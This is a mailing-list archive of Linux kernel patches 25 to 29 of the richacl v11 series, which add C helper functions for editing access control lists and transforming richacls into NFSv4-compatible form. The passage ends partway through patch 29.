linux-api@vger.kernel.org Subject: [PATCH v11 25/48] richacl: acl editing helper functions Date: Fri, 16 Oct 2015 17:18:03 +0200 X-ASG-Orig-Subj: [PATCH v11 25/48] richacl: acl editing helper functions Message-Id: <1445008706-15115-26-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008881 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The file masks in richacls make chmod and creating new files more efficient than having to apply file permission bits to the acl directly. They also allow us to regain permissions from an acl even after a restrictive chmod, because the permissions in the acl itself are not being destroyed. In POSIX ACLs, the mask entry has a similar function. Protocols like nfsv4 do not understand file masks. For those protocols, we need to compute nfs4 acls which represent the effective permissions granted by a richacl: we need to "apply" the file masks to the acl. This is the first in a series of richacl transformation patches; it implements basic richacl editing functions. The following patches implement algorithms for transforming a richacl so that it can be evaluated as a plain nfs4 acl, with identical permission check results. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/Makefile | 3 +- fs/richacl_compat.c | 155 +++++++++++++++++++++++++++++++++++++++++ include/linux/richacl_compat.h | 40 +++++++++++ 3 files changed, 197 insertions(+), 1 deletion(-) create mode 100644 fs/richacl_compat.c create mode 100644 include/linux/richacl_compat.h diff --git a/fs/Makefile b/fs/Makefile index 35e640d..32b391b 100644 --- a/fs/Makefile +++ b/fs/Makefile @@ -49,7 +49,8 @@ obj-$(CONFIG_SYSCTL) += drop_caches.o obj-$(CONFIG_FHANDLE) += fhandle.o obj-$(CONFIG_FS_RICHACL) += richacl.o -richacl-y := richacl_base.o richacl_inode.o richacl_xattr.o +richacl-y := richacl_base.o richacl_inode.o \ + richacl_xattr.o richacl_compat.o obj-y += quota/ diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c new file mode 100644 index 0000000..341e429 --- /dev/null +++ b/fs/richacl_compat.c @@ -0,0 +1,155 @@ +/* + * Copyright (C) 2006, 2010 Novell, Inc. + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#include +#include +#include +#include + +/** + * richacl_prepare - allocate richacl being constructed + * + * Allocate a richacl which can hold @count entries but which is initially + * empty. + */ +struct richacl *richacl_prepare(struct richacl_alloc *alloc, unsigned int count) +{ + alloc->acl = richacl_alloc(count, GFP_KERNEL); + if (!alloc->acl) + return NULL; + alloc->acl->a_count = 0; + alloc->count = count; + return alloc->acl; +} +EXPORT_SYMBOL_GPL(richacl_prepare); + +/** + * richacl_delete_entry - delete an entry in an acl + * @alloc: acl and number of allocated entries + * @ace: an entry in @alloc->acl + * + * Updates @ace so that it points to the entry before the deleted entry + * on return. (When deleting the first entry, @ace will point to the + * (non-existent) entry before the first entry). This behavior is the + * expected behavior when deleting entries while forward iterating over + * an acl. + */ +void +richacl_delete_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + void *end = alloc->acl->a_entries + alloc->acl->a_count; + + memmove(*ace, *ace + 1, end - (void *)(*ace + 1)); + (*ace)--; + alloc->acl->a_count--; +} +EXPORT_SYMBOL_GPL(richacl_delete_entry); + +/** + * richacl_insert_entry - insert an entry in an acl + * @alloc: acl and number of allocated entries + * @ace: entry before which the new entry shall be inserted + * + * Insert a new entry in @alloc->acl at position @ace and zero-initialize + * it. This may require reallocating @alloc->acl. + */ +int +richacl_insert_entry(struct richacl_alloc *alloc, struct richace **ace) +{ + struct richacl *acl = alloc->acl; + unsigned int index = *ace - acl->a_entries; + size_t tail_size = (acl->a_count - index) * sizeof(struct richace); + + if (alloc->count == acl->a_count) { + size_t new_size = sizeof(struct richacl) + + (acl->a_count + 1) * sizeof(struct richace); + + acl = krealloc(acl, new_size, GFP_KERNEL); + if (!acl) + return -1; + *ace = acl->a_entries + index; + alloc->acl = acl; + alloc->count++; + } + + memmove(*ace + 1, *ace, tail_size); + memset(*ace, 0, sizeof(**ace)); + acl->a_count++; + return 0; +} +EXPORT_SYMBOL_GPL(richacl_insert_entry); + +/** + * richacl_append_entry - append an entry to an acl + * @alloc: acl and number of allocated entries + * + * This may require reallocating @alloc->acl. + */ +struct richace *richacl_append_entry(struct richacl_alloc *alloc) +{ + struct richacl *acl = alloc->acl; + struct richace *ace = acl->a_entries + acl->a_count; + + if (alloc->count > alloc->acl->a_count) { + acl->a_count++; + return ace; + } + return richacl_insert_entry(alloc, &ace) ? NULL : ace; +} +EXPORT_SYMBOL_GPL(richacl_append_entry); + +/** + * richace_change_mask - set the mask of @ace to @mask + * @alloc: acl and number of allocated entries + * @ace: entry to modify + * @mask: new mask for @ace + * + * If @ace is inheritable, a inherit-only ace is inserted before @ace which + * includes the inheritable permissions of @ace and the inheritance flags of + * @ace are cleared before changing the mask. + * + * If @mask is 0, the original ace is turned into an inherit-only entry if + * there are any inheritable permissions, and removed otherwise. + * + * The returned @ace points to the modified or inserted effective-only acl + * entry if that entry exists, to the entry that has become inheritable-only, + * or else to the previous entry in the acl. + */ +static int +richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, + unsigned int mask) +{ + if (mask && (*ace)->e_mask == mask) + (*ace)->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else if (mask & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + if (richace_is_inheritable(*ace)) { + if (richacl_insert_entry(alloc, ace)) + return -1; + richace_copy(*ace, *ace + 1); + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + (*ace)++; + (*ace)->e_flags &= ~RICHACE_INHERITANCE_FLAGS | + RICHACE_INHERITED_ACE; + } + (*ace)->e_mask = mask; + } else { + if (richace_is_inheritable(*ace)) + (*ace)->e_flags |= RICHACE_INHERIT_ONLY_ACE; + else + richacl_delete_entry(alloc, ace); + } + return 0; +} diff --git a/include/linux/richacl_compat.h b/include/linux/richacl_compat.h new file mode 100644 index 0000000..a9ff630 --- /dev/null +++ b/include/linux/richacl_compat.h @@ -0,0 +1,40 @@ +/* + * Copyright (C) 2015 Red Hat, Inc. + * Written by Andreas Gruenbacher + * + * This program is free software; you can redistribute it and/or modify it + * under the terms of the GNU General Public License as published by the + * Free Software Foundation; either version 2, or (at your option) any + * later version. + * + * This program is distributed in the hope that it will be useful, but + * WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU + * General Public License for more details. + */ + +#ifndef __RICHACL_COMPAT_H +#define __RICHACL_COMPAT_H + +#include + +/** + * struct richacl_alloc - remember how many entries are actually allocated + * @acl: acl with a_count <= @count + * @count: the actual number of entries allocated in @acl + * + * We pass around this structure while modifying an acl so that we do + * not have to reallocate when we remove existing entries followed by + * adding new entries. + */ +struct richacl_alloc { + struct richacl *acl; + unsigned int count; +}; + +struct richacl *richacl_prepare(struct richacl_alloc *, unsigned int); +struct richace *richacl_append_entry(struct richacl_alloc *); +int richacl_insert_entry(struct richacl_alloc *, struct richace **); +void richacl_delete_entry(struct richacl_alloc *, struct richace **); + +#endif /* __RICHACL_COMPAT_H */ -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:29 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 11C307FAB for ; Fri, 16 Oct 2015 10:21:29 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id D93A8304062 for ; Fri, 16 Oct 2015 08:21:28 -0700 (PDT) X-ASG-Debug-ID: 1445008887-04bdf06db472c20001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id vSphGS4hYhr8PBe0 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:27 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 5DC8B91E9A; Fri, 16 Oct 2015 15:21:27 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRc9011947; Fri, 16 Oct 2015 11:21:21 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 26/48] richacl: Move everyone@ aces down the acl Date: Fri, 16 Oct 2015 17:18:04 +0200 X-ASG-Orig-Subj: [PATCH v11 26/48] richacl: Move everyone@ aces down the acl Message-Id: <1445008706-15115-27-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008887 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The POSIX standard puts processes which are not the owner or a member in the owning group or which match any ace other then everyone@ on the other file class. We only know if a process is in the other class after processing the entire acl. Move all everyone@ aces in the acl down in the acl so that at most a single everyone@ allow ace remains at the end. Permissions which are not explicitly allowed are implicitly denied, so an everyone@ deny ace is unneeded. The everyone@ aces can be moved down the acl without changing the permissions that the acl grants. This transformation simplifies the following algorithms, and eventually allows us to turn the final everyone@ allow ace into an entry for the other class. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 65 +++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 65 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 341e429..4f0acf5 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -153,3 +153,68 @@ richace_change_mask(struct richacl_alloc *alloc, struct richace **ace, } return 0; } + +/** + * richacl_move_everyone_aces_down - move everyone@ aces to the end of the acl + * @alloc: acl and number of allocated entries + * + * Move all everyone aces to the end of the acl so that only a single everyone@ + * allow ace remains at the end, and update the mask fields of all aces on the + * way. The last ace of the resulting acl will be an everyone@ allow ace only + * if @acl grants any permissions to @everyone. No @everyone deny aces will + * remain. + * + * This transformation does not alter the permissions that the acl grants. + * Having at most one everyone@ allow ace at the end of the acl helps us in the + * following algorithms. + */ +static int +richacl_move_everyone_aces_down(struct richacl_alloc *alloc) +{ + struct richace *ace; + unsigned int allowed = 0, denied = 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_everyone(ace)) { + if (richace_is_allow(ace)) + allowed |= (ace->e_mask & ~denied); + else if (richace_is_deny(ace)) + denied |= (ace->e_mask & ~allowed); + else + continue; + if (richace_change_mask(alloc, &ace, 0)) + return -1; + } else { + if (richace_is_allow(ace)) { + if (richace_change_mask(alloc, &ace, allowed | + (ace->e_mask & ~denied))) + return -1; + } else if (richace_is_deny(ace)) { + if (richace_change_mask(alloc, &ace, denied | + (ace->e_mask & ~allowed))) + return -1; + } + } + } + if (allowed & ~RICHACE_POSIX_ALWAYS_ALLOWED) { + struct richace *last_ace = ace - 1; + + if (alloc->acl->a_entries && + richace_is_everyone(last_ace) && + richace_is_allow(last_ace) && + richace_is_inherit_only(last_ace) && + last_ace->e_mask == allowed) + last_ace->e_flags &= ~RICHACE_INHERIT_ONLY_ACE; + else { + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = allowed; + ace->e_id.special = RICHACE_EVERYONE_SPECIAL_ID; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:36 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id AF4827F99 for ; Fri, 16 Oct 2015 10:21:36 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2797FAC004 for ; Fri, 16 Oct 2015 08:21:36 -0700 (PDT) X-ASG-Debug-ID: 1445008894-04cb6c3ceb3a0a0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id ZRu1gzmDPZjGOBo5 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:34 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id ED746345B45; Fri, 16 Oct 2015 15:21:33 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcA011947; Fri, 16 Oct 2015 11:21:28 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 27/48] richacl: Propagate everyone@ permissions to other aces Date: Fri, 16 Oct 2015 17:18:05 +0200 X-ASG-Orig-Subj: [PATCH v11 27/48] richacl: Propagate everyone@ permissions to other aces Message-Id: <1445008706-15115-28-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008894 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 The trailing everyone@ allow ace can grant permissions to all file classes including the owner and group class. Before we can apply the other mask to this entry to turn it into an "other class" entry, we need to ensure that members of the owner or group class will not lose any permissions from that ace. Conceptually, we do this by inserting additional :::allow entries before the trailing everyone@ allow ace with the same permissions as the trailing everyone@ allow ace for owner@, group@, and all explicitly mentioned users and groups. (In practice, we will rarely need to insert any additional aces in this step.) Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 198 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 198 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 4f0acf5..7d007d7 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -218,3 +218,201 @@ richacl_move_everyone_aces_down(struct richacl_alloc *alloc) } return 0; } + +/** + * __richacl_propagate_everyone - propagate everyone@ permissions up for @who + * @alloc: acl and number of allocated entries + * @who: identifier to propagate permissions for + * @allow: permissions to propagate up + * + * Propagate the permissions in @allow up from the end of the acl to the start + * for the specified principal @who. + * + * The simplest possible approach to achieve this would be to insert a + * ":::allow" ace before the final everyone@ allow ace. Since this + * would often result in aces which are not needed or which could be merged + * with an existing ace, we make the following optimizations: + * + * - We go through the acl and determine which permissions are already + * allowed or denied to @who, and we remove those permissions from + * @allow. + * + * - If the acl contains an allow ace for @who and no aces after this entry + * deny permissions in @allow, we add the permissions in @allow to this + * ace. (Propagating permissions across a deny ace which can match the + * process can elevate permissions.) + * + * This transformation does not alter the permissions that the acl grants. + */ +static int +__richacl_propagate_everyone(struct richacl_alloc *alloc, struct richace *who, + unsigned int allow) +{ + struct richace *allow_last = NULL, *ace; + struct richacl *acl = alloc->acl; + + /* + * Remove the permissions from allow that are already determined for + * this who value, and figure out if there is an allow entry for + * this who value that is "reachable" from the trailing everyone@ + * allow ace. + */ + richacl_for_each_entry(ace, acl) { + if (richace_is_inherit_only(ace)) + continue; + if (richace_is_allow(ace)) { + if (richace_is_same_identifier(ace, who)) { + allow &= ~ace->e_mask; + allow_last = ace; + } + } else if (richace_is_deny(ace)) { + if (richace_is_same_identifier(ace, who)) + allow &= ~ace->e_mask; + else if (allow & ace->e_mask) + allow_last = NULL; + } + } + ace--; + + /* + * If for group class entries, all the remaining permissions will + * remain granted by the trailing everyone@ allow ace, no additional + * entry is needed. + */ + if (!richace_is_owner(who) && + richace_is_everyone(ace) && + !(allow & ~(ace->e_mask & acl->a_other_mask))) + allow = 0; + + if (allow) { + if (allow_last) + return richace_change_mask(alloc, &allow_last, + allow_last->e_mask | allow); + else { + struct richace who_copy; + + richace_copy(&who_copy, who); + if (richacl_insert_entry(alloc, &ace)) + return -1; + richace_copy(ace, &who_copy); + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags &= ~RICHACE_INHERITANCE_FLAGS; + ace->e_mask = allow; + } + } + return 0; +} + +/** + * richacl_propagate_everyone - propagate everyone@ permissions up the acl + * @alloc: acl and number of allocated entries + * + * Make sure that group@ and all other users and groups mentioned in the acl + * will not lose any permissions when finally applying the other mask to the + * everyone@ allow ace at the end of the acl. We modify the permissions of + * existing entries or add new entries before the final everyone@ allow ace to + * achieve that. + * + * For example, the following acl implicitly grants everyone rwpx access: + * + * joe:r::allow + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose wp access even though the mode does not exclude those + * permissions. After propagating the everyone@ permissions, the result for + * applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:rwp::allow + * group@:rwp::allow + * + * Deny aces complicate the matter. For example, the following acl grants + * everyone but joe write access: + * + * joe:wp::deny + * everyone@:rwpx::allow + * + * When applying mode 0660 to this acl, group@ would lose rwp access, and joe + * would lose r access. After propagating the everyone@ permissions, the + * result for applying mode 0660 becomes: + * + * owner@:rwp::allow + * joe:w::deny + * group@:rwp::allow + * joe:r::allow + */ +static int +richacl_propagate_everyone(struct richacl_alloc *alloc) +{ + struct richace who = { .e_flags = RICHACE_SPECIAL_WHO }; + struct richacl *acl = alloc->acl; + struct richace *ace; + unsigned int owner_allow, group_allow; + + if (!acl->a_count) + return 0; + ace = acl->a_entries + acl->a_count - 1; + if (richace_is_inherit_only(ace) || !richace_is_everyone(ace)) + return 0; + + /* + * Permissions the owner and group class are granted through the + * trailing everyone@ allow ace. + */ + owner_allow = ace->e_mask & acl->a_owner_mask; + group_allow = ace->e_mask & acl->a_group_mask; + + /* + * If the group or other masks hide permissions which the owner should + * be allowed, we need to propagate those permissions up. Otherwise, + * those permissions may be lost when applying the other mask to the + * trailing everyone@ allow ace, or when isolating the group class from + * the other class through additional deny aces. + */ + if (owner_allow & ~(acl->a_group_mask & acl->a_other_mask)) { + /* Propagate everyone@ permissions through to owner@. */ + who.e_id.special = RICHACE_OWNER_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, owner_allow)) + return -1; + acl = alloc->acl; + } + + /* + * If the other mask hides permissions which the group class should be + * allowed, we need to propagate those permissions up to the owning + * group and to all other members in the group class. + */ + if (group_allow & ~acl->a_other_mask) { + int n; + + /* Propagate everyone@ permissions through to group@. */ + who.e_id.special = RICHACE_GROUP_SPECIAL_ID; + if (__richacl_propagate_everyone(alloc, &who, group_allow)) + return -1; + acl = alloc->acl; + + /* + * Start from the entry before the trailing everyone@ allow + * entry. We will not hit everyone@ entries in the loop. + */ + for (n = acl->a_count - 2; n != -1; n--) { + ace = acl->a_entries + n; + + if (richace_is_inherit_only(ace) || + richace_is_owner(ace) || + richace_is_group(ace)) + continue; + + /* + * Any inserted entry will end up below the current + * entry. + */ + if (__richacl_propagate_everyone(alloc, ace, + group_allow)) + return -1; + acl = alloc->acl; + } + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:42 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5A05C7FC5 for ; Fri, 16 Oct 2015 10:21:42 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4B2A7304053 for ; Fri, 16 Oct 2015 08:21:42 -0700 (PDT) X-ASG-Debug-ID: 1445008900-04cbb035aa43900001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id za65dVWbsJhCGC3P (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:41 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 819164DB01; Fri, 16 Oct 2015 15:21:40 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcB011947; Fri, 16 Oct 2015 11:21:34 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 28/48] richacl: Set the owner permissions to the owner mask Date: Fri, 16 Oct 2015 17:18:06 +0200 X-ASG-Orig-Subj: [PATCH v11 28/48] richacl: Set the owner permissions to the owner mask Message-Id: <1445008706-15115-29-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008901 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 In the write-through case, change the acl so that owner@ is granted the permissions set in the owner mask (to match what the permission check algorithm grants the owner). Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 46 ++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 46 insertions(+) diff --git a/fs/richacl_compat.c b/fs/richacl_compat.c index 7d007d7..16deeb4 100644 --- a/fs/richacl_compat.c +++ b/fs/richacl_compat.c @@ -416,3 +416,49 @@ richacl_propagate_everyone(struct richacl_alloc *alloc) } return 0; } + +/** + * richacl_set_owner_permissions - set the owner permissions to the owner mask + * + * In the write-through case, change the acl so that owner@ is granted the + * permissions set in the owner mask (to match what the permission check + * algorithm grants the owner). This leaves at most one efective owner@ allow + * entry at the beginning of the acl. + */ +static int +richacl_set_owner_permissions(struct richacl_alloc *alloc) +{ + unsigned int x = RICHACE_POSIX_ALWAYS_ALLOWED; + unsigned int owner_mask = alloc->acl->a_owner_mask & ~x; + unsigned int denied = 0; + struct richace *ace; + + if (!((alloc->acl->a_flags & RICHACL_WRITE_THROUGH))) + return 0; + + richacl_for_each_entry(ace, alloc->acl) { + if (richace_is_owner(ace)) { + if (richace_is_allow(ace) && !(owner_mask & denied)) { + richace_change_mask(alloc, &ace, owner_mask); + owner_mask = 0; + } else + richace_change_mask(alloc, &ace, 0); + } else { + if (richace_is_deny(ace)) + denied |= ace->e_mask; + } + } + + if (owner_mask & (denied | + ~alloc->acl->a_other_mask | + ~alloc->acl->a_group_mask)) { + ace = alloc->acl->a_entries; + if (richacl_insert_entry(alloc, &ace)) + return -1; + ace->e_type = RICHACE_ACCESS_ALLOWED_ACE_TYPE; + ace->e_flags = RICHACE_SPECIAL_WHO; + ace->e_mask = owner_mask; + ace->e_id.special = RICHACE_OWNER_SPECIAL_ID; + } + return 0; +} -- 2.5.0 From agruenba@redhat.com Fri Oct 16 10:21:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id BEADE7F96 for ; Fri, 16 Oct 2015 10:21:48 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id AF705304062 for ; Fri, 16 Oct 2015 08:21:48 -0700 (PDT) X-ASG-Debug-ID: 1445008907-04cbb035ab43920001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id 6uU0yQG2KGTTw2P3 (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Fri, 16 Oct 2015 08:21:47 -0700 (PDT) X-Barracuda-Envelope-From: agruenba@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx11.intmail.prod.int.phx2.redhat.com (int-mx11.intmail.prod.int.phx2.redhat.com [10.5.11.24]) by mx1.redhat.com (Postfix) with ESMTPS id 203EAA2C07; Fri, 16 Oct 2015 15:21:47 +0000 (UTC) Received: from nux.redhat.com (vpn1-5-224.ams2.redhat.com [10.36.5.224]) by int-mx11.intmail.prod.int.phx2.redhat.com (8.14.4/8.14.4) with ESMTP id t9GFIRcC011947; Fri, 16 Oct 2015 11:21:41 -0400 From: Andreas Gruenbacher To: Alexander Viro , "Theodore Ts'o" , Andreas Dilger , "J. Bruce Fields" , Jeff Layton , Trond Myklebust , Anna Schumaker , Dave Chinner , linux-ext4@vger.kernel.org, xfs@oss.sgi.com, linux-kernel@vger.kernel.org, linux-fsdevel@vger.kernel.org, linux-nfs@vger.kernel.org, linux-cifs@vger.kernel.org, linux-api@vger.kernel.org Subject: [PATCH v11 29/48] richacl: Set the other permissions to the other mask Date: Fri, 16 Oct 2015 17:18:07 +0200 X-ASG-Orig-Subj: [PATCH v11 29/48] richacl: Set the other permissions to the other mask Message-Id: <1445008706-15115-30-git-send-email-agruenba@redhat.com> In-Reply-To: <1445008706-15115-1-git-send-email-agruenba@redhat.com> References: <1445008706-15115-1-git-send-email-agruenba@redhat.com> X-Scanned-By: MIMEDefang 2.68 on 10.5.11.24 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1445008907 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Change the acl so that everyone@ is granted the permissions set in the other mask. Signed-off-by: Andreas Gruenbacher Reviewed-by: J. Bruce Fields --- fs/richacl_compat.c | 41 